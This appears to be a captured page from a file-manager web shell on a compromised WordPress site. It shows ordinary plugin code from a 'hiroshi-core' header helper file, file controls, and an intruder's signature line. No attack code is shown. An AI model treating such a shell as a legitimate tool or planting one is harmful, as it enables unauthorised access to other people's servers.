Submit
Path:
~
/
home
/
getwphos
/
www
/
pioneerasphalt
/
wp-content
/
plugins
/
hiroshi-core
/
inc
/
header
/
layouts
/
switch
/
File Content:
helper.php
<?php if ( ! function_exists( 'hiroshi_core_add_switch_header_global_option' ) ) { /** * This function set header type value for global header option map */ function hiroshi_core_add_switch_header_global_option( $header_layout_options ) { $header_layout_options['switch'] = array( 'image' => HIROSHI_CORE_HEADER_LAYOUTS_URL_PATH . '/switch/assets/img/switch-header.png', 'label' => esc_html__( 'Switch', 'hiroshi-core' ) ); return $header_layout_options; } add_filter( 'hiroshi_core_filter_header_layout_option', 'hiroshi_core_add_switch_header_global_option' ); } if ( ! function_exists( 'hiroshi_core_register_switch_header_layout' ) ) { /** * Function which add header layout into global list * * @param array $header_layouts * * @return array */ function hiroshi_core_register_switch_header_layout( $header_layouts ) { $header_layout = array( 'switch' => 'HiroshiCore_Switch_Header' ); $header_layouts = array_merge( $header_layouts, $header_layout ); return $header_layouts; } add_filter( 'hiroshi_core_filter_register_header_layouts', 'hiroshi_core_register_switch_header_layout'); } if ( ! function_exists( 'hiroshi_core_register_switch_menu' ) ) { /** * Function which add additional main menu navigation into global list * * @param array $menus * * @return array */ function hiroshi_core_register_switch_menu( $menus ) { $menus['switch-menu-navigation'] = esc_html__( 'Switch Navigation', 'hiroshi-core' ); return $menus; } add_filter( 'hiroshi_filter_register_navigation_menus', 'hiroshi_core_register_switch_menu' ); } if ( ! function_exists( 'hiroshi_core_switch_header_hide_scroll_appearance' ) ) { /** * Function that set dependency option value for specific module layout * * @param array $options * * @return array */ function hiroshi_core_switch_header_hide_scroll_appearance( $options ) { $options[] = 'switch'; return $options; } add_filter( 'hiroshi_core_filter_header_scroll_appearance_hide_option', 'hiroshi_core_switch_header_hide_scroll_appearance' ); }
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
assets
---
0755
dashboard
---
0755
templates
---
0755
class-hiroshicore-switch-header.php
780 bytes
0644
helper.php
2084 bytes
0644
include.php
385 bytes
0644
N4ST4R_ID | Naxtarrr